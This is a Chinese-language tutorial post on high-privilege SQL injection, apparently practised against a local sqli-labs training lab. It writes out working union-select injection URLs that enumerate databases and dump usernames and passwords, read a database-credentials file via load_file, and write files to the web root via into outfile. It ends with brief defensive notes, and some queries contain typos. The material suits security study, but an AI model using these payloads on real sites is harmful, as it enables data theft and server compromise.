SQL注入之高許可權注入
阿新 • • 發佈:2021-07-18
SQL注入之高許可權注入
簡介
在常規WEB網站架構中可能存在不同的網站對應不同的資料庫不同的管理使用者,不同的使用者擁有對資料庫不同的操作許可權,因此獲取高許可權使用者可以幫助我們更好的進行測試
'''
1:網站A--->資料庫A---->使用者A
1:網站B--->資料庫B---->使用者B
1:網站C--->資料庫C---->使用者C
'''
作用
- 跨庫查詢:跨越當前資料庫對別的資料庫進行查詢
- 檔案讀寫:利用注入對檔案進行讀取或者寫入
- 存在魔術引號:編碼/寬位元組繞過
- 不存在魔術引號
靶場測試
跨庫注入
判斷欄位數量
# 根據測試此時order by為3的時候頁面正常因此欄位數量為3 http://10.1.1.20/sqilabs/Less-2/?id=2 order by 3
報錯回顯
http://10.1.1.20/sqilabs/Less-2/?id=-2 union select 1,2,3
查詢所有資料庫名稱
http://10.1.1.20/sqilabs/Less-2/?id=-2 union select 1, group_concat(SCHEMA_NAMA),user() from information_schema.schemata
查詢資料庫對應的表名
http://10.1.1.20/sqilabs/Less-2/?id=-2 union select 1, group_concat(table_name),3 from information_schema.tables where table_schema='pikachu'
查詢表名對應的欄位名
# 指定資料庫名稱防止有太多資料庫中含有users表
http://10.1.1.20/sqilabs/Less-2/?id=-2 union select 1, group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schma='pikachu'
查詢資料
# 指定所需要查詢資料庫對應的表 http://10.1.1.20/sqilabs/Less-2/?id=-2 union select 1,username,password from pikachu.users
檔案讀寫
讀寫方法
- 讀取操作:load_file
- 寫入方法:into outfile/into dumpfile
load_file
在MySQL中使用該函式需要滿足如下條件
- 對目標檔案擁有讀取許可權
- secure_file_priv
show global variables like "secure_file_priv";
# 修改secure_file_privsudo vim /etc/mysql/my.cnf secure_file_priv=''# 重啟mysql服務sudo systemctl restart mysqlshow global variables like '%secure_file_priv%';
# 讀取檔案SELECT LOAD_FILE('/etc/hosts');
into outfile
# 在/home/sean下書寫一個檔案hello.txt 內容為hello worldselect "hello world" into outfile "/home/sean/hello.txt"
# 檢視許可權SHOW VARIABLES LIKE 'datadir';
# 將寫入檔案修改上述目錄select "hello world" into outfile "/var/lib/mysql/hello.txt"
獲取網站路徑
- 報錯顯示:輸入錯誤程式碼使網站報錯可能會顯示出檔案目錄
- 遺留檔案:一些網站需要測試可能會有一些測試檔案測試檔案會有網站路徑(例如:phpinfo)
- 報錯顯示:知道網站使用的主題或者框架查詢對應的檔案路徑
- 配置檔案:通過讀取網站配置檔案獲取相應的路徑
- 爆破:例如一些常見的配置路徑
讀取/寫入
讀取
# 小白只是為了學習預設知道檔案路徑
http://10.1.1.20/sqilabs/Less-2/?id=-1 union select 1,load_file("/www/admin/localhost_80/wwwroot/sqilabs/sql-connections/db-creds.inc"),3
寫入
# 注入惡意程式碼使用--+註釋原始碼的limit 0,1
http://10.1.1.20/sqilabs/Less-2/?id=-1 union select 1,"hello world",3 into outfile "/www/hello.txt" --+
魔術引號
魔術引號若是開啟的話,所有的反斜線(\)、單引號(')、雙引號(")、NULL 字元都會被自動加上一個反斜線進行轉義
magic_quotes_gpc()
,當此值為1時,會對HTTP請求中的Get
,Post
,Cookie
單雙引號和反斜線進行轉義;反之則不會。該操作一般見於表單提交的資料庫操作,若是值為0時,便用addslashes進行轉義存入資料庫中,取出時再用stripslashes函式把反斜線給去掉
安全防護
防護方法
- 魔術引號
- 內建函式:例如使用
int
函式對傳入的id
進行判斷不是整數就拒絕帶入MySQL
查詢 - 自定義select查詢
- 安全防護軟體:安全狗,寶塔等